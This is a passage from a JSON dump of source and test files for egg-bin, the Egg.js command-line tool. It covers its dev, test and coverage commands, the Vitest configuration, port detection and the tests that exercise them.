(position-agnostic) - keep as-is\n    if (path.isAbsolute(rawPattern) || rawPattern.startsWith('**')) {\n      const normalized = rawPattern.replace(/\\\\/g, '/');\n      return isNegated ? `!${normalized}` : normalized;\n    }\n\n    const joined = path.join(base, rawPattern).replace(/\\\\/g, '/');\n    return isNegated ? `!${joined}` : joined;\n  }\n\n  protected override async buildVitestConfig(files: string[]): Promise<VitestConfig> {\n    const { flags } = this;\n    const baseConfig = await super.buildVitestConfig(files);\n    const base = flags.base.replace(/\\\\/g, '/');\n\n    const coverageExcludes = new Set([\n      ...(process.env.COV_EXCLUDES?.split(',') ?? []).map((p) => this.toAbsoluteExclude(p, base)),\n      ...this.defaultCoverageExcludes.map((p) => this.toAbsoluteExclude(p, base)),\n      ...Array.from(flags.exclude ?? []).map((p) => this.toAbsoluteExclude(p, base)),\n    ]);\n\n    return {\n      ...baseConfig,\n      coverage: {\n        enabled: true,\n        provider: 'v8' as const,\n        reporter: ['text-summary', 'json-summary', 'json', 'lcov', 'cobertura'],\n        exclude: Array.from(coverageExcludes),\n        reportsDirectory: path.join(base, 'coverage'),\n      },\n    };\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/src/commands/dev.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { getFrameworkPath } from '@eggjs/utils';\nimport { Flags } from '@oclif/core';\nimport { detect } from 'detect-port';\n\nimport { BaseCommand } from '../baseCommand.ts';\nimport { getSourceFilename } from '../utils.ts';\n\nconst debug = debuglog('egg/bin/commands/dev');\n\nexport default class Dev<T extends typeof Dev> extends BaseCommand<T> {\n  static override description = 'Start server at local dev mode';\n\n  static override examples = ['<%= config.bin %> <%= command.id %>'];\n\n  static override flags = {\n    port: Flags.integer({\n      description: 'listening port, default to 7001',\n      char: 'p',\n    }),\n    workers: Flags.integer({\n      char: 'c',\n      aliases: ['cluster'],\n      description: 'numbers of app workers',\n      default: 1,\n    }),\n    framework: Flags.string({\n      description: 'specify framework that can be absolute path or npm package, default is \"egg\"',\n    }),\n    sticky: Flags.boolean({\n      description: 'start a sticky cluster server',\n    }),\n  };\n\n  public async run(): Promise<void> {\n    this.env.NODE_ENV = this.env.NODE_ENV ?? 'development';\n    debug('NODE_ENV: %o', this.env.NODE_ENV);\n    this.env.EGG_MASTER_CLOSE_TIMEOUT = '1000';\n    const ext = this.isESM ? 'mjs' : 'cjs';\n    const serverBin = getSourceFilename(`../scripts/start-cluster.${ext}`);\n    const eggStartOptions = await this.formatEggStartOptions();\n    const args = [JSON.stringify(eggStartOptions)];\n    const requires = await this.formatRequires();\n    const execArgv: string[] = [];\n    for (const r of requires) {\n      const module = this.formatImportModule(r);\n\n      // Remove the quotes from the path\n      // --require \"module path\" -> ['--require', 'module path']\n      // --import \"module path\" -> ['--import', 'module path']\n      const splitIndex = module.indexOf(' ');\n      if (splitIndex !== -1) {\n        execArgv.push(module.slice(0, splitIndex), module.slice(splitIndex + 2, -1));\n      }\n    }\n    await this.forkNode(serverBin, args, { execArgv });\n  }\n\n  protected async formatEggStartOptions(): Promise<{\n    baseDir: string;\n    workers: number;\n    port: number;\n    framework: string;\n    typescript: boolean;\n    tscompiler: string | undefined;\n    sticky: boolean | undefined;\n  }> {\n    const { flags } = this;\n    flags.framework = getFrameworkPath({\n      framework: flags.framework,\n      baseDir: flags.base,\n    });\n\n    if (!flags.port) {\n      const defaultPort = parseInt(process.env.EGG_BIN_DEFAULT_PORT ?? '7001');\n      debug('detect available port');\n      flags.port = await detect(defaultPort);\n      if (flags.port !== defaultPort) {\n        console.warn('[@eggjs/bin] server port %o is unavailable, now using port %o', defaultPort, flags.port);\n      }\n      debug(`use available port ${flags.port}`);\n    }\n\n    return {\n      baseDir: flags.base,\n      workers: flags.workers,\n      port: flags.port,\n      framework: flags.framework,\n      typescript: flags.typescript,\n      tscompiler: flags.tscompiler,\n      sticky: flags.sticky,\n    };\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/src/commands/test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { importResolve, detectType, EggType, ImportResolveError } from '@eggjs/utils';\nimport { Args, Flags } from '@oclif/core';\n// @ts-expect-error no types\nimport ciParallelVars from 'ci-parallel-vars';\nimport globby from 'globby';\nimport { getChangedFilesForRoots } from 'jest-changed-files';\nimport { startVitest } from 'vitest/node';\nimport type { InlineConfig as VitestConfig } from 'vitest/node';\n\nimport { BaseCommand, ForkError } from '../baseCommand.ts';\n\nconst debug = debuglog('egg/bin/commands/test');\n\nexport default class Test<T extends typeof Test> extends BaseCommand<T> {\n  static override args = {\n    file: Args.string({\n      description: 'file(s) to test',\n    }),\n  };\n\n  static override description = 'Run the test';\n\n  static override examples = [\n    '<%= config.bin %> <%= command.id %>',\n    '<%= config.bin %> <%= command.id %> test/index.test.ts',\n    '<%= config.bin %> <%= command.id %> test/index.test.ts,test/user.test.ts,...',\n    '<%= config.bin %> <%= command.id %> --json',\n    '<%= config.bin %> <%= command.id %> --log-level debug',\n  ];\n\n  static override flags = {\n    bail: Flags.boolean({\n      description: 'abort (\"bail\") after first test failure',\n      default: false,\n      char: 'b',\n    }),\n    timeout: Flags.integer({\n      char: 't',\n      description: 'set test-case timeout in milliseconds',\n      default: parseInt(process.env.TEST_TIMEOUT ?? '60000'),\n    }),\n    'no-timeout': Flags.boolean({\n      description: 'disable timeout',\n    }),\n    grep: Flags.string({\n      char: 'g',\n      description: 'only run tests matching <pattern>',\n    }),\n    changed: Flags.boolean({\n      description: 'only test with changed files and match test/**/*.test.(js|ts)',\n      char: 'c',\n    }),\n    watch: Flags.boolean({\n      description: 'run tests in watch mode',\n      default: false,\n      char: 'w',\n    }),\n    pool: Flags.string({\n      description: 'vitest worker pool type',\n      options: ['forks', 'threads'],\n      default: process.env.EGG_VITEST_POOL ?? 'threads',\n    }),\n  };\n\n  public async run(): Promise<void> {\n    const { flags } = this;\n\n    try {\n      await fs.access(flags.base);\n    } catch (err) {\n      console.error('baseDir: %o not exists', flags.base);\n      throw err;\n    }\n\n    // set NODE_ENV=test, let egg application load unittest logic\n    // https://eggjs.org/basics/env#difference-from-node_env\n    process.env.NODE_ENV = 'test';\n\n    if (flags['no-timeout']) {\n      flags.timeout = 0;\n    }\n\n    const ext = flags.typescript ? 'ts' : 'js';\n    let pattern = this.args.file ? this.args.file.split(',') : [];\n\n    // changed\n    if (flags.changed) {\n      pattern = await this.getChangedTestFiles(flags.base, ext);\n      if (!pattern.length) {\n        console.log('No changed test files');\n        return;\n      }\n      debug('changed files: %o', pattern);\n    }\n\n    if (!pattern.length && process.env.TESTS) {\n      pattern = process.env.TESTS.split(',');\n    }\n\n    // collect test files when nothing is changed\n    if (!pattern.length) {\n      pattern = [`test/**/*.test.${ext}`];\n    }\n\n    // expand glob and skip node_modules and fixtures\n    let files = globby.sync(pattern, { cwd: flags.base });\n    files.sort();\n\n    if (files.length === 0) {\n      console.log('No test files found with pattern %o', pattern);\n      return;\n    }\n\n    // split up test files in parallel CI jobs\n    if (ciParallelVars) {\n      const { index: currentIndex, total: totalRuns } = ciParallelVars as {\n        index: number;\n        total: number;\n      };\n      const fileCount = files.length;\n      const each = Math.floor(fileCount / totalRuns);\n      const remainder = fileCount % totalRuns;\n      const offset = Math.min(currentIndex, remainder) + currentIndex * each;\n      const currentFileCount = each + (currentIndex < remainder ? 1 : 0);\n      files = files.slice(offset, offset + currentFileCount);\n      console.log(\n        '# Split test files in parallel CI jobs: %d/%d, files: %d/%d',\n        currentIndex + 1,\n        totalRuns,\n        files.length,\n        fileCount,\n      );\n    }\n\n    // convert to absolute paths relative to base\n    // vitest include patterns require forward slashes, even on Windows\n    files = files.map((f) => {\n      const abs = path.isAbsolute(f) ? f : path.join(flags.base, f);\n      return abs.replace(/\\\\/g, '/');\n    });\n\n    // expose timeout to test fixtures (e.g. for testing timeout behavior)\n    process.env.EGG_BIN_TIMEOUT = String(flags.timeout);\n\n    // propagate pool mode so downstream code (e.g. @eggjs/mock) can detect it\n    process.env.EGG_VITEST_POOL = flags.pool;\n\n    // propagate isolate mode so downstream code can detect shared mode\n    process.env.EGG_VITEST_ISOLATE = process.env.EGG_VITEST_ISOLATE ?? 'false';\n\n    debug('run test with vitest, files: %o, flags: %o', files, flags);\n    const config = await this.buildVitestConfig(files);\n\n    if (flags['dry-run']) {\n      console.log('vitest config: %o', config);\n      return;\n    }\n\n    // Propagate NODE_OPTIONS from this.env to process.env so vitest fork\n    // workers inherit them (e.g. ts-node/esm loader for TypeScript support).\n    // Also disable Node.js native type stripping when TypeScript loader is active,\n    // because native type stripping can't handle decorators and runs before\n    // custom ESM loaders like ts-node/esm.\n    if (this.env.NODE_OPTIONS) {\n      let nodeOptions = this.env.NODE_OPTIONS;\n      if (flags.typescript && !nodeOptions.includes('--no-experimental-strip-types')) {\n        nodeOptions = `--no-experimental-strip-types ${nodeOptions}`;\n      }\n      process.env.NODE_OPTIONS = nodeOptions;\n    }\n\n    // pass configFile:false as vite override to prevent vitest from walking up\n    // the directory tree and picking up a parent vitest.config.ts\n    const vitest = await startVitest('test', [], config, { configFile: false } as Record<string, unknown>);\n    if (!vitest) {\n      throw new ForkError('vitest failed to start', 1);\n    }\n\n    if (flags.watch) {\n      // In watch mode, vitest keeps running until user terminates\n      return;\n    }\n\n    const failed = vitest.state.getCountOfFailedTests() ?? 0;\n    await vitest.close();\n    if (failed > 0) {\n      throw new ForkError('tests failed', 1);\n    }\n  }\n\n  protected async buildVitestConfig(files: string[]): Promise<VitestConfig> {\n    const { flags } = this;\n    const ext = flags.typescript ? 'ts' : 'js';\n    const setupFiles: string[] = [];\n\n    // auto add setup file as first setup file\n    const setupFile = path.join(flags.base, `test/.setup.${ext}`);\n    try {\n      await fs.access(setupFile);\n      setupFiles.push(setupFile.replace(/\\\\/g, '/'));\n    } catch {\n      // ignore\n    }\n\n    // add user-defined requires/imports\n    const requires = await this.formatRequires();\n    setupFiles.push(...requires);\n\n    // auto add @eggjs/mock/setup_vitest for egg applications\n    const eggType = await detectType(flags.base);\n    debug('eggType: %s', eggType);\n    if (eggType === EggType.application) {\n      try {\n        const mockSetup = importResolve('@eggjs/mock/setup_vitest', {\n          paths: [flags.base],\n        });\n        setupFiles.push(mockSetup);\n        debug('auto add @eggjs/mock/setup_vitest: %o', mockSetup);\n      } catch (err) {\n        if (!(err instanceof ImportResolveError)) throw err;\n        debug('skip @eggjs/mock/setup_vitest: @eggjs/mock not installed');\n      }\n    }\n\n    // auto detect @eggjs/tegg-vitest/runner\n    // Try resolving from the project first, then from egg-bin's own dependencies.\n    // This ensures tegg context injection works even when the project doesn't\n    // explicitly depend on @eggjs/tegg-vitest (e.g. cnpmcore).\n    let runner: string | undefined;\n    for (const resolveFrom of [flags.base, import.meta.dirname]) {\n      try {\n        runner = importResolve('@eggjs/tegg-vitest/runner', {\n          paths: [resolveFrom],\n        });\n        debug('auto use @eggjs/tegg-vitest/runner from %s: %o', resolveFrom, runner);\n        break;\n      } catch (err) {\n        if (!(err instanceof ImportResolveError)) throw err;\n      }\n    }\n    if (!runner) {\n      debug('skip @eggjs/tegg-vitest/runner: not resolvable');\n    }\n\n    return {\n      root: flags.base,\n      include: files,\n      exclude: ['**/test/fixtures/**', '**/test/node_modules/**', '**/node_modules/**'],\n      testTimeout: flags.timeout,\n      testNamePattern: flags.grep,\n      bail: flags.bail ? 1 : 0,\n      setupFiles,\n      runner,\n      reporters: [process.env.TEST_REPORTER ?? 'default'],\n      pool: flags.pool as 'forks' | 'threads',\n      isolate: process.env.EGG_VITEST_ISOLATE !== 'false',\n      fileParallelism: process.env.EGG_FILE_PARALLELISM === 'true',\n      // vitest 4 moved poolOptions to top-level\n      execArgv: [...this.globalExecArgv],\n      watch: flags.watch,\n      // inject vitest globals (describe, it, expect, beforeAll, etc.) so plain JS test files work without imports\n      globals: true,\n      // Inline all non-vitest node_modules so dynamic import() calls within\n      // dependencies go through vitest's module system. Without this, packages like\n      // @eggjs/tegg-loader use native import() which creates separate module instances,\n      // breaking class identity checks (e.g. tegg's getEggObject(MyClass) won't find\n      // the prototype). @vitest/* packages are excluded to avoid breaking the V8\n      // coverage inspector session.\n      server: {\n        deps: {\n          inline: [/^(?!.*@vitest)/],\n        },\n      },\n    };\n  }\n\n  protected async getChangedTestFiles(dir: string, ext: string): Promise<string[]> {\n    const res = await getChangedFilesForRoots([path.join(dir, 'test')], {});\n    const changedFiles = res.changedFiles;\n    const files: string[] = [];\n    for (let cf of changedFiles) {\n      // only find test/**/*.test.(js|ts)\n      if (cf.endsWith(`.test.${ext}`)) {\n        // Patterns MUST use forward slashes (not backslashes)\n        // This should be converted on Windows\n        if (process.platform === 'win32') {\n          cf = cf.replace(/\\\\/g, '/');\n        }\n        files.push(cf);\n      }\n    }\n    return files;\n  }\n}\n"
  },
  {
    "path": "tools/egg-bin/src/index.ts",
    "content": "import Cov from './commands/cov.ts';\nimport Dev from './commands/dev.ts';\nimport Test from './commands/test.ts';\n\nexport { Test, Cov, Dev };\n\nexport * from './baseCommand.ts';\nexport * from './types.ts';\nexport * from '@oclif/core';\n"
  },
  {
    "path": "tools/egg-bin/src/types.ts",
    "content": "export interface PackageEgg {\n  framework?: boolean;\n  typescript?: boolean;\n  tscompiler?: string;\n  declarations?: boolean;\n  revert?: string | string[];\n  require?: string | string[];\n  import?: string | string[];\n}\n"
  },
  {
    "path": "tools/egg-bin/src/utils.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nexport async function readPackageJSON(baseDir: string): Promise<Record<string, any>> {\n  const pkgFile = path.join(baseDir, 'package.json');\n  try {\n    const pkgJSON = await fs.readFile(pkgFile, 'utf8');\n    return JSON.parse(pkgJSON);\n  } catch {\n    return {};\n  }\n}\n\nexport async function hasTsConfig(baseDir: string): Promise<boolean> {\n  const pkgFile = path.join(baseDir, 'tsconfig.json');\n  try {\n    await fs.access(pkgFile);\n    return true;\n  } catch {\n    return false;\n  }\n}\n\nexport function getSourceDirname(): string {\n  if (typeof __dirname === 'string') {\n    return __dirname;\n  }\n  // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n  // @ts-ignore\n  const __filename = fileURLToPath(import.meta.url);\n  return path.dirname(__filename);\n}\n\nexport function getSourceFilename(filename: string): string {\n  return path.join(getSourceDirname(), filename);\n}\n"
  },
  {
    "path": "tools/egg-bin/test/coffee.ts",
    "content": "import type { ForkOptions } from 'node:child_process';\n\nimport coffee from 'coffee';\n\nconst coffeeFork = {\n  fork(modulePath: string, args: string[], options: ForkOptions = {}): ReturnType<typeof coffee.fork> {\n    options.execArgv = [\n      // '--require', 'ts-node/register/transpile-only',\n      '--import',\n      'ts-node/register/transpile-only',\n      '--no-warnings',\n      '--loader',\n      'ts-node/esm',\n      ...(options.execArgv ?? []),\n    ];\n    options.env = {\n      NODE_DEBUG: process.env.NODE_DEBUG,\n      PATH: process.env.PATH,\n      ...options.env,\n    };\n    // console.error('fork env: %o', options.env);\n    return coffee.fork(modulePath, args, options);\n  },\n} as const;\n\nexport default coffeeFork;\n"
  },
  {
    "path": "tools/egg-bin/test/commands/cov.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { mock } from '@eggjs/mock';\nimport assertFile from 'assert-file';\nimport { describe, it } from 'vitest';\n\nimport coffee from '../coffee.ts';\nimport { getFixtures, getRootDirname } from '../helper.ts';\n\nconst version = Number(process.version.substring(1, 3));\n\ndescribe('test/commands/cov.test.ts', () => {\n  const eggBin = path.join(getRootDirname(), 'bin/run.js');\n  const cwd = getFixtures('test-files-cov');\n\n  async function assertCoverage(baseDir: string) {\n    assertFile(path.join(baseDir, 'coverage/coverage-final.json'));\n    assertFile(path.join(baseDir, 'coverage/coverage-summary.json'));\n    assertFile(path.join(baseDir, 'coverage/lcov-report/index.html'));\n    assertFile(path.join(baseDir, 'coverage/lcov.info'));\n    assertFile(path.join(baseDir, 'coverage/cobertura-coverage.xml'));\n  }\n\n  describe('egg-bin cov', () => {\n    it('should success on js with --javascript', async () => {\n      await coffee\n        .fork(eggBin, ['cov', '--javascript'], {\n          cwd,\n          env: { TESTS: 'test/a.test.js,test/b/b.test.js,test/ignore.test.js' },\n        })\n        .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /b[/|\\\\]b\\.test\\.js/)\n        .notExpect('stdout', /\\ba\\.js/)\n        .expect('stdout', /Statements {3}:/)\n        .expect('code', 0)\n        .end();\n      await assertCoverage(cwd);\n      const lcov = await fs.readFile(path.join(cwd, 'coverage/lcov.info'), 'utf8');\n      assert.match(lcov, /ignore[/|\\\\]a.js/);\n    });\n\n    it('should success on js with --ts=false', async () => {\n      await coffee\n        .fork(eggBin, ['cov', '--ts=false'], {\n          cwd,\n          env: { TESTS: 'test/a.test.js,test/b/b.test.js,test/ignore.test.js' },\n        })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /b[/|\\\\]b\\.test\\.js/)\n        .notExpect('stdout', /\\ba\\.js/)\n        .expect('stdout', /Statements {3}:/)\n        .expect('code', 0)\n        .end();\n      await assertCoverage(cwd);\n      const lcov = await fs.readFile(path.join(cwd, 'coverage/lcov.info'), 'utf8');\n      assert.match(lcov, /ignore[/|\\\\]a.js/);\n    });\n\n    it('should success on ts', async () => {\n      const cwd = getFixtures('example-ts-cov');\n      await coffee\n        .fork(eggBin, ['cov'], { cwd })\n        // .debug()\n        .expect('stdout', /index\\.test\\.ts/)\n        .expect('stdout', /Tests.*passed/)\n        .expect('stdout', /Statements\\s+: 100% \\( \\d+\\/\\d+ \\)/)\n        .expect('code', 0)\n        .end();\n      await assertCoverage(cwd);\n      const lcov = await fs.readFile(path.join(cwd, 'coverage/lcov.info'), 'utf8');\n      assert.match(lcov, /SF:app\\.ts/);\n    });\n\n    it('should success with COV_EXCLUDES', async () => {\n      await coffee\n        .fork(eggBin, ['cov', '--ts=false'], {\n          cwd,\n          env: {\n            TESTS: 'test/a.test.js,test/b/b.test.js,test/ignore.test.js',\n            COV_EXCLUDES: 'ignore/*',\n          },\n        })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /b[/|\\\\]b\\.test\\.js/)\n        .notExpect('stdout', /a.js/)\n        .expect('stdout', /Statements {3}:/)\n        .expect('code', 0)\n        .end();\n      await assertCoverage(cwd);\n      const lcov = await fs.readFile(path.join(cwd, 'coverage/lcov.info'), 'utf8');\n      assert.doesNotMatch(lcov, /ignore[/|\\\\]a.js/);\n    });\n\n    it('should success with -x to ignore one dirs', async () => {\n      await coffee\n        .fork(eggBin, ['cov', '-x', 'ignore/', '--ts=false', 'test/a.test.js,test/b/b.test.js'], { cwd })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /b[/|\\\\]b\\.test\\.js/)\n        .notExpect('stdout', /a.js/)\n        .expect('stdout', /Statements {3}:/)\n        .expect('code', 0)\n        .end();\n      await assertCoverage(cwd);\n      const lcov = await fs.readFile(path.join(cwd, 'coverage/lcov.info'), 'utf8');\n      assert.doesNotMatch(lcov, /ignore[/|\\\\]a.js/);\n    });\n\n    it('should success with -x to ignore multi dirs', async () => {\n      await coffee\n        .fork(eggBin, ['cov', '-x', 'ignore2/*', '-x', 'ignore/', '--ts=false', 'test/a.test.js,test/b/b.test.js'], {\n          cwd,\n        })\n        // .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .expect('stdout', /b[/|\\\\]b\\.test\\.js/)\n        .notExpect('stdout', /a.js/)\n        .expect('stdout', /Statements {3}:/)\n        .expect('code', 0)\n        .end();\n      await assertCoverage(cwd);\n      const lcov = await fs.readFile(path.join(cwd, 'coverage/lcov.info'), 'utf8');\n      assert.doesNotMatch(lcov, /ignore[/|\\\\]a.js/);\n    });\n\n    it('should exit when not test files', () => {\n      return (\n        coffee\n          .fork(eggBin, ['cov', 'test/**/*.nth.js', '--ts=false'], { cwd })\n          // .debug()\n          .expect('stdout', /No test files found/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it.skip('should grep pattern without error', () => {\n      return coffee\n        .fork(eggBin, ['cov', 'test/a.test.js', '--grep', 'should success'], {\n          cwd,\n        })\n        .debug()\n        .expect('stdout', /a\\.test\\.js/)\n        .notExpect('stdout', /should show tmp/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it('should fail when test fail', () => {\n      return (\n        coffee\n          .fork(eggBin, ['cov'], { cwd, env: { TESTS: 'test/fail.js' } })\n          // .debug()\n          .expect('stdout', /should fail/)\n          .expect('stdout', /1 failed/)\n          .expect('code', 1)\n          .end()\n      );\n    });\n\n    it('should run cov when no test files', () => {\n      const cwd = getFixtures('prerequire');\n      return (\n        coffee\n          .fork(eggBin, ['cov', '--ts=false'], {\n            cwd,\n            env: { TESTS: 'noexist.js' },\n          })\n          // .debug()\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should set NODE_ENV=test', async () => {\n      const cwd = getFixtures('prerequire');\n      await coffee\n        .fork(eggBin, ['cov', '--ts=false'], {\n          cwd,\n          env: { TESTS: 'test/**/*.test.js' },\n        })\n        // .debug()\n        .expect('stdout', /NODE_ENV test/)\n        .expect('code', 0)\n        .end();\n    });\n\n    it.skip('test parallel', () => {\n      if (process.platform === 'win32') return;\n      return (\n        coffee\n          .fork(eggBin, ['cov', '--parallel', '--ts=false'], {\n            cwd: getFixtures('test-demo-app'),\n            env: { TESTS: 'test/**/*.test.js' },\n          })\n          // .debug()\n          .expect('stdout', /a\\.test\\.js/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should run cov on ts-esm module', () => {\n      const cwd = getFixtures('mocha-test-ts-esm-cov');\n      return (\n        coffee\n          .fork(eggBin, ['cov'], {\n            cwd,\n          })\n          // .debug()\n          .expect('stdout', /\\.test\\.ts/)\n          .expect('stdout', /Tests.*passed/)\n          .expect('code', 0)\n          .end()\n      );\n    });\n\n    it('should support egg.revert', () => {\n      if (version !== 20) return;\n      mock(process.env, 'NODE_ENV', 'development');\n      return coffee\n        .fork(eggBin, ['cov'], {\n          cwd: getFixtures('egg-revert-cov'),\n        })\n        .debug()\n        .expect('stdout', /SECURITY WARNING: Reverting CVE-2023-46809: Marvin attack on PKCS#1 padding/)\n        .expect('stdout', /1 passed/)\n        .expect('code', 0)\n        .end();\n    });\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/commands/debug.test.ts",
    "content": "import path from 'node:path';\n\nimport { describe, it } from 'vitest';\n\nimport coffee from '../coffee.ts';\nimport { getFixtures, getRootDirname } from '../helper.ts';\n\ndescribe('test/commands/debug.test.ts', () => {\n  const eggBin = path.join(getRootDirname(), 'bin/run.js');\n  const cwd = getFixtures('demo-app-debug');\n\n  it('should startCluster success', () => {\n    return (\n      coffee\n        .fork(eggBin, ['dev', '--inspect'], { cwd })\n        // .debug()\n        .expect('stdout', /\"workers\":1/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app-debug\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .expect('stdout', /NODE_ENV: development/)\n        .expect('stderr', /Debugger listening/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/commands/dev/commonjs-app.test.ts",
    "content": "import path from 'node:path';\n\nimport { describe, it } from 'vitest';\n\nimport coffee from '../../coffee.ts';\nimport { getRootDirname, getFixtures } from '../../helper.ts';\n\ndescribe('test/commands/dev/commonjs-app.test.ts', () => {\n  it('should startCluster success on CommonJS', () => {\n    const eggBin = path.join(getRootDirname(), 'bin/run.js');\n    const cwd = getFixtures('demo-app-commonjs');\n\n    return (\n      coffee\n        .fork(eggBin, ['dev'], {\n          cwd,\n          // env: { NODE_DEBUG: 'egg-bin*' },\n        })\n        // .debug()\n        .expect('stdout', /\"workers\":1/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app-commonjs\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .expect('stdout', /NODE_ENV: development/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/commands/dev/detect-port.test.ts",
    "content": "import net, { Server } from 'node:net';\nimport path from 'node:path';\n\nimport { detect } from 'detect-port';\nimport { afterAll, beforeAll, describe, it } from 'vitest';\n\nimport coffee from '../../coffee.ts';\nimport { getRootDirname, getFixtures } from '../../helper.ts';\n\ndescribe('test/commands/dev/detect-port.test.ts', () => {\n  let server: Server;\n  let serverPort: number;\n  beforeAll(async () => {\n    serverPort = await detect(7001);\n    server = net.createServer();\n    await new Promise<void>((resolve) => {\n      server.listen(serverPort, resolve);\n    });\n  });\n\n  afterAll(\n    () =>\n      new Promise<void>((resolve, reject) => {\n        server.close((err) => (err ? reject(err) : resolve()));\n      }),\n  );\n\n  it('should auto detect available port', () => {\n    const eggBin = path.join(getRootDirname(), 'bin/run.js');\n    const cwd = getFixtures('demo-app-detect-port');\n\n    return (\n      coffee\n        .fork(eggBin, ['dev'], {\n          cwd,\n          env: { EGG_BIN_DEFAULT_PORT: String(serverPort) },\n        })\n        // .debug()\n        .expect('stderr', /\\[@eggjs\\/bin] server port \\d+ is unavailable, now using port \\d+/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/commands/dev/esm-app.test.ts",
    "content": "import path from 'node:path';\n\nimport { describe, it } from 'vitest';\n\nimport coffee from '../../coffee.ts';\nimport { getRootDirname, getFixtures } from '../../helper.ts';\n\ndescribe('test/commands/dev/esm-app.test.ts', () => {\n  it('should startCluster success on ESM', () => {\n    const eggBin = path.join(getRootDirname(), 'bin/run.js');\n    const cwd = getFixtures('demo-app-esm');\n    const hook = path.join(cwd, 'hook.js');\n    return (\n      coffee\n        .fork(eggBin, ['dev', '-r', hook], {\n          cwd,\n        })\n        // .debug()\n        .expect('stdout', /start hook success/)\n        .expect('stdout', /'--import'/)\n        .expect('stdout', /\"workers\":1/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app-esm\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .expect('stdout', /NODE_ENV: development/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n});\n"
  },
  {
    "path": "tools/egg-bin/test/commands/dev.test.ts",
    "content": "import path from 'node:path';\n\nimport { mm } from '@eggjs/mock';\nimport { importResolve } from '@eggjs/utils';\nimport { describe, it } from 'vitest';\n\nimport coffee from '../coffee.ts';\nimport { getRootDirname, getFixtures } from '../helper.ts';\n\nconst version = Number(process.version.substring(1, 3));\n\ndescribe('test/commands/dev.test.ts', () => {\n  const eggBin = path.join(getRootDirname(), 'bin/run.js');\n  const cwd = getFixtures('demo-app');\n\n  it('should dev start with custom NODE_ENV', () => {\n    return coffee\n      .fork(eggBin, ['dev'], { cwd, env: { NODE_ENV: 'prod' } })\n      .debug()\n      .expect('stdout', /\"workers\":1/)\n      .expect('stdout', /\"baseDir\":\".*?demo-app\"/)\n      .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n      .expect('stdout', /NODE_ENV: prod/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it('should startCluster with --port', () => {\n    return (\n      coffee\n        .fork(eggBin, ['dev', '--port', '6001'], { cwd })\n        // .debug()\n        .expect('stdout', /\"workers\":1/)\n        .expect('stdout', /\"port\":6001/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n\n  it('should startCluster with --sticky', () => {\n    return (\n      coffee\n        .fork(eggBin, ['dev', '--port', '6001', '--sticky'], { cwd })\n        // .debug()\n        .expect('stdout', /\"workers\":1/)\n        .expect('stdout', /\"port\":6001/)\n        .expect('stdout', /\"sticky\":true/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n\n  it('should startCluster with -p', () => {\n    return (\n      coffee\n        .fork(eggBin, ['dev', '-p', '6001'], { cwd })\n        // .debug()\n        .expect('stdout', /\"workers\":1/)\n        .expect('stdout', /\"port\":6001/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n\n  it('should startCluster with --cluster=2', () => {\n    return (\n      coffee\n        .fork(eggBin, ['dev', '--cluster=2'], { cwd })\n        // .debug()\n        .expect('stdout', /\"workers\":2/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .notExpect('stdout', /\"cluster\"/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n\n  it('should startCluster with --workers=2', () => {\n    return (\n      coffee\n        .fork(eggBin, ['dev', '--workers=2'], { cwd })\n        // .debug()\n        .expect('stdout', /\"workers\":2/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .notExpect('stdout', /\"cluster\"/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n\n  it('should startCluster with --baseDir=root', () => {\n    return (\n      coffee\n        .fork(eggBin, ['dev', `--baseDir=${cwd}`])\n        // .debug()\n        .expect('stdout', /\"workers\":1/)\n        .expect('stdout', /\"baseDir\":\".*?demo-app\"/)\n        .expect('stdout', /\"framework\":\".*?aliyun-egg\"/)\n        .expect('code', 0)\n        .end()\n    );\n  });\n\n  it('should startCluster with custom yadan framework', () => {\n  